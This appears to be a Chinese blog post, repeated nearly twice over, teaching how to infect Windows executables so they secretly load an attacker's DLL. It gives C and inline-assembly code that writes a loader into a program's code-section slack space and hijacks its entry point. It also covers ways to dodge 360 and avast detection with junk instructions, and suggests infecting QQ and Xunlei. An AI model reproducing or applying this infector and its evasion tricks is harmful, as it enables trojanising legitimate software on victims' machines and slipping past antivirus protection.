感染可执行文件加载Dll
2010-09-01 21:34
525 查看
以前看过一篇文章《捆绑任意可执行文件做木马》深感作者对汇编运用之熟练。但经过实际练习感觉到办法还有些欠缺,比如说修改文件头AddressOfEntryPoint域的RVA这一招连360都盯上了。另外创建一个节来写入数据使程序变得臃肿。实际上每一个可执行文件的代码节都有很大的剩余空间没利用,我们只要在剩余空间里写入不到200个字节的Dll启动代码就行了。
本文假设读者已经具备了汇编语言pe结构体和使用msdn的能力
本文的主要思路是:
找出目标文件剩余空间
将开始的代码修改为跳转指令跳
转到指定的代码处
在剩余空间里写入启动代码
在剩余空间里写入被修改的代码和回跳代码
被感染后的文件执行流程如图一所示:
还是看看具体的实现代码吧:
目标文件剩余空间主要是由pSecHeader[i].SizeOfRawData与pSecHeader[i].Misc.VirtualSize的差值决定的
DWORD ExtraData =pSecHeader[i].SizeOfRawData - pSecHeader[i].Misc .VirtualSize ;
找到代码节的文件末尾
byte *pTextEnd= (byte *)pFileImage + pSecHeader[i].PointerToRawData + pSecHeader[i].SizeOfRawData- 1;
得到插入代码的位置:
byte *pInjectPoint = pTextEnd - ExtraData;
指向需要修改的指令
byte *ToChg = (byte *)pFileImage +pOptionalHeader->AddressOfEntryPoint ;
得到要跳转到的地址:
DWORD TargetAddr = (DWORD)pInjectPoint;
下面就该将开始的指令修改为跳转到插入代码的位置了,为了不影响目标的程序正常运行需要把被修改的代码保存起来放在插入代码的后面
byte *ToRchg = (byte *)calloc ( 30 ,sizeof(byte ));
修改代码可以调用一个函数来完成:
DWORD BackAddr=ChangeCode ( ToChg , pOptionalHeader->ImageBase + (TargetAddr -(DWORD)pFileImage ),ToRchg ,&BeChangedCodeSum );
其中ToChg指向要被修改的代码,pOptionalHeader->ImageBase
+ (TargetAddr - (DWORD)pFileImage )恰好是插入代码的地址也就是要跳转到的地址,ToRchg是指向保存被修改代码缓冲区的指针BeChangedCodeSum是被修改的代码长度
现在问题来了,要实现跳转就得修改具体的十六进制数据而我们知道intel是复杂指令集这里的复杂绝非空穴来风,每一条指令要占有几字节空间必须是十分熟悉的。怎么办上网找了久终于发现了一个长度反汇编引擎可以解决这个问题。引擎找到了但跳转指令怎么实现呢?
看过Leminis的《用开源反汇编引擎检测inline
hook》就提到了跳转的几种方法:
1:jmp xxxxxxxx覆盖原来的指令(xxxxxxxx是跳转指令相对偏移)占用5字节
2:jmp Far xxxxxxxx
覆盖原来的指令其中xxxxxxxx是绝对地址占用7字节
3:先用push xxxxxxxx
后直接用retn返回
但是这些都是众所周之的办法早就被检测工具盯紧了,应当采用一种更安全的办法才行
比如说我用
mov ebp,TargetAddr push ebp retn
这三个指令来完成,你如果觉得还是不够安全可以在三个指令中间加入一些花指令来扰乱检测工具,但可别忘了在最后把修改的代码修改回来。
看看函数的详细实现:
////得到跳转地址,注意这里的跳转为相对地址(相对本指令所在位置)5
为跳转指令的大小
BackAddr -= (5 + (DWORD)pInjectPoint +Inject_data_length + BeChangedCodeSum );
//写入附加数据也就是上面略去的那段汇编代码
for(i = 0; i < Inject_data_length ; i++)
*pInjectPoint++ = *pInject_data ++;
//写入被修改的代码
for(byte i = 0;i < BeChangedCodeSum;i ++ )
*pInjectPoint ++ = *ToRchg ++;
///增加回跳代码。
byte jmp =0xE9;
*pInjectPoint++ = jmp;
byte *pBackAddr = (byte *) &BackAddr ;
for(int i = 0;i < 4;i ++ )
*pInjectPoint++ = *pBackAddr++;
///修改文件头
pSecHeader[i].Misc .VirtualSize += Inject_data_length + BeChangedCodeSum+ 5;
最后完成一些收尾工作:
UnmapViewOfFile(pImageView );
CloseHandle( hFileMapHandle );
CloseHandle( hFileHandle );
printf("感染成功!!/n");
好了现在看一下感染的效果,我在目标Dll仅弹出一个对话框表明感染成功。
运行Target.exe可以看到Dll代码已经被执行了
如图2所示:
但是打开杀毒软件(avast)报告是病毒程序,这时程序没运行能查到病毒肯定是基于特征码扫描的,也就是说我们的程序里有常规编程所没有的特征码,我想了很久做了很多次试验发现在上面的2,3,4,行之间加入一些无关指令就能绕开杀软的查杀。仔细看上面的汇编代码是要通过调用GetProcAddress函数来得到LoadLibraryA函数的地址,但是参数传递的办法太明显了:在c中调用办法是:GetProcAddress(hModule,”LoadLibraryA”);生成的可执行文件压栈的仅仅是”LoadLibraryA”的首地址,字符串”LoadLibraryA”通常被放在pe文件的数据段中,而我们的LoadLibraryA
因为要压栈来传递所以代码段里就有了它的身影(可能好多病毒都会调用LoadLibraryA这个函数所以被杀软盯上了)。在2,3,4行之间加入一些干扰的指令再次编译让avast来扫描就不会在报毒了。
读者可以在Dll中加入自己的代码
好了现在可以让我们的代码来感染QQ,迅雷等应用软件了
不过我发现被感染的QQ无法正常启动,想想也是这么出名的软件肯定得有自检测机制,但是解除自检测机制不在本文讨论范围我也就不多说了。
[本文涉及的代码在vs2005 + xp3下编译通过]
本文假设读者已经具备了汇编语言pe结构体和使用msdn的能力
本文的主要思路是:
找出目标文件剩余空间
将开始的代码修改为跳转指令跳
转到指定的代码处
在剩余空间里写入启动代码
在剩余空间里写入被修改的代码和回跳代码
被感染后的文件执行流程如图一所示:
还是看看具体的实现代码吧:
对一个pe文件修改最方便的还是用CreateFile()CreateFileMapping()之类的api函数来创建一个文件映像。这些就不多说了不懂的可以看msdn。 假设我们得到的文件映像基地址是pFileImage首先定位文件的代码段(这里需要用到pe文件的知识) PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage; PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)((byte *)pFileImage+pDosHeader->e_lfanew+4); PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)((byte*)pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((char *)pOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER32 ) ); ///定位节头数组指针 DWORD SectionNums = pFileHeader->NumberOfSections ; DWORD i ; ///找到代码节 for ( i = 0;i < SectionNums ;i ++ ) { if ( pSecHeader[i].Characteristics & IMAGE_SCN_CNT_CODE ) break; }
目标文件剩余空间主要是由pSecHeader[i].SizeOfRawData与pSecHeader[i].Misc.VirtualSize的差值决定的
DWORD ExtraData =pSecHeader[i].SizeOfRawData - pSecHeader[i].Misc .VirtualSize ;
找到代码节的文件末尾
byte *pTextEnd= (byte *)pFileImage + pSecHeader[i].PointerToRawData + pSecHeader[i].SizeOfRawData- 1;
得到插入代码的位置:
byte *pInjectPoint = pTextEnd - ExtraData;
指向需要修改的指令
byte *ToChg = (byte *)pFileImage +pOptionalHeader->AddressOfEntryPoint ;
得到要跳转到的地址:
DWORD TargetAddr = (DWORD)pInjectPoint;
下面就该将开始的指令修改为跳转到插入代码的位置了,为了不影响目标的程序正常运行需要把被修改的代码保存起来放在插入代码的后面
byte *ToRchg = (byte *)calloc ( 30 ,sizeof(byte ));
修改代码可以调用一个函数来完成:
DWORD BackAddr=ChangeCode ( ToChg , pOptionalHeader->ImageBase + (TargetAddr -(DWORD)pFileImage ),ToRchg ,&BeChangedCodeSum );
其中ToChg指向要被修改的代码,pOptionalHeader->ImageBase
+ (TargetAddr - (DWORD)pFileImage )恰好是插入代码的地址也就是要跳转到的地址,ToRchg是指向保存被修改代码缓冲区的指针BeChangedCodeSum是被修改的代码长度
现在问题来了,要实现跳转就得修改具体的十六进制数据而我们知道intel是复杂指令集这里的复杂绝非空穴来风,每一条指令要占有几字节空间必须是十分熟悉的。怎么办上网找了久终于发现了一个长度反汇编引擎可以解决这个问题。引擎找到了但跳转指令怎么实现呢?
看过Leminis的《用开源反汇编引擎检测inline
hook》就提到了跳转的几种方法:
1:jmp xxxxxxxx覆盖原来的指令(xxxxxxxx是跳转指令相对偏移)占用5字节
2:jmp Far xxxxxxxx
覆盖原来的指令其中xxxxxxxx是绝对地址占用7字节
3:先用push xxxxxxxx
后直接用retn返回
但是这些都是众所周之的办法早就被检测工具盯紧了,应当采用一种更安全的办法才行
比如说我用
mov ebp,TargetAddr push ebp retn
这三个指令来完成,你如果觉得还是不够安全可以在三个指令中间加入一些花指令来扰乱检测工具,但可别忘了在最后把修改的代码修改回来。
看看函数的详细实现:
现在该看看插入代码了:插入代码最好用汇编语言来实现因为我们还要加入跳转指令如果用c就不好实现了 启动目标Dll代码 Inject_data_start: _asm pushad //获取kernel32.dll的基址 _asm mov eax, fs:0x30 ;PEB的地址 _asm mov eax, [eax + 0x0c] ///----------------------------------------------------- ………………………………. ///这里略去部分汇编代码。具体实现代码看后面,注释已经很详细了 //开始查找LoadLibrary的地址, 先构造"LoadLibrary/0" 1; _asm push 0x0 //即'/0' 2; _asm push DWORD PTR 0x41797261 //"Ayra" 3; _asm push DWORD PTR 0x7262694c //"rbiL" 4; _asm push DWORD PTR 0x64616f4c //"daoL" 5; _asm push esp //压入"LoadLibraryA/0"字符串的地址 6; _asm push edi //edi:kernel32的基址 7; _asm call [ebp + 40h] //返回值(即LoadLibrary的地址)保存在eax中调用GetProcAddress () ………………………………. ///----------------------------------------------------- _asm popad Inject_data_end: 得到插入代码的大小和指向插入代码的指针 GetInjectData: _asm pushad; _asm lea eax, Inject_data_start; _asm mov pInject_data, eax; _asm lea edx, Inject_data_end; _asm sub edx, eax; _asm mov Inject_data_length, edx; _asm popad;
////得到跳转地址,注意这里的跳转为相对地址(相对本指令所在位置)5
为跳转指令的大小
BackAddr -= (5 + (DWORD)pInjectPoint +Inject_data_length + BeChangedCodeSum );
//写入附加数据也就是上面略去的那段汇编代码
for(i = 0; i < Inject_data_length ; i++)
*pInjectPoint++ = *pInject_data ++;
//写入被修改的代码
for(byte i = 0;i < BeChangedCodeSum;i ++ )
*pInjectPoint ++ = *ToRchg ++;
///增加回跳代码。
byte jmp =0xE9;
*pInjectPoint++ = jmp;
byte *pBackAddr = (byte *) &BackAddr ;
for(int i = 0;i < 4;i ++ )
*pInjectPoint++ = *pBackAddr++;
///修改文件头
pSecHeader[i].Misc .VirtualSize += Inject_data_length + BeChangedCodeSum+ 5;
最后完成一些收尾工作:
UnmapViewOfFile(pImageView );
CloseHandle( hFileMapHandle );
CloseHandle( hFileHandle );
printf("感染成功!!/n");
好了现在看一下感染的效果,我在目标Dll仅弹出一个对话框表明感染成功。
运行Target.exe可以看到Dll代码已经被执行了
如图2所示:
但是打开杀毒软件(avast)报告是病毒程序,这时程序没运行能查到病毒肯定是基于特征码扫描的,也就是说我们的程序里有常规编程所没有的特征码,我想了很久做了很多次试验发现在上面的2,3,4,行之间加入一些无关指令就能绕开杀软的查杀。仔细看上面的汇编代码是要通过调用GetProcAddress函数来得到LoadLibraryA函数的地址,但是参数传递的办法太明显了:在c中调用办法是:GetProcAddress(hModule,”LoadLibraryA”);生成的可执行文件压栈的仅仅是”LoadLibraryA”的首地址,字符串”LoadLibraryA”通常被放在pe文件的数据段中,而我们的LoadLibraryA
因为要压栈来传递所以代码段里就有了它的身影(可能好多病毒都会调用LoadLibraryA这个函数所以被杀软盯上了)。在2,3,4行之间加入一些干扰的指令再次编译让avast来扫描就不会在报毒了。
读者可以在Dll中加入自己的代码
好了现在可以让我们的代码来感染QQ,迅雷等应用软件了
不过我发现被感染的QQ无法正常启动,想想也是这么出名的软件肯定得有自检测机制,但是解除自检测机制不在本文讨论范围我也就不多说了。
[本文涉及的代码在vs2005 + xp3下编译通过]
相关文章推荐
- VC++通过动态生成并加载DLL,实现可执行文件的自删除
- VC++实现感染文件式加载DLL文件
- VC++通过动态生成并加载DLL,实现可执行文件的自删除
- VC++实现感染文件式加载DLL文件
- 通过HookNtCreateSection 动态监控驱动sys、动态链接库dll、可执行文件exe加载
- Java加载dll动态链接库,并打包执行为exe文件
- 通过HookNtCreateSection 动态监控驱动sys、动态链接库dll、可执行文件exe加载
- DLL系列------编程实现感染PE文件加载DLL
- 延迟加载库的应用:Dll嵌入可执行文件中
- 通过HookNtCreateSection 动态监控驱动sys、动态链接库dll、可执行文件exe加载
- 动态监控驱动sys、动态链接库dll、可执行文件exe加载
- 启动遍历文件夹中的所有指定的文件 ( 执行exe文件 或者加载dll )
- VC++通过动态生成并加载DLL,实现可执行文件的自删除
- IIS报错:未能加载文件或程序集"file:///c:/windows/temp/iuwelzdf.dll"或它的一个依赖项。系统找不到指定的文件
- (已解决)拷贝dll文件到另一个项目,编译不报错,运行报错“未能加载文件或程序集...”
- c# 动态加载dll文件,并实现调用其中的方法
- C#动态加载DLL,通过配置文件实现对程序集的即插即用
- 导入表条目加载失败所导致的目标文件执行失败
- 稳扎稳打Silverlight(31) - 2.0Tip/Trick之加载XAP, 加载XAML, 加载DLL, AppManifest.xaml文件说明
- 在可执行文件或DLL的多个实例之间共享静态数据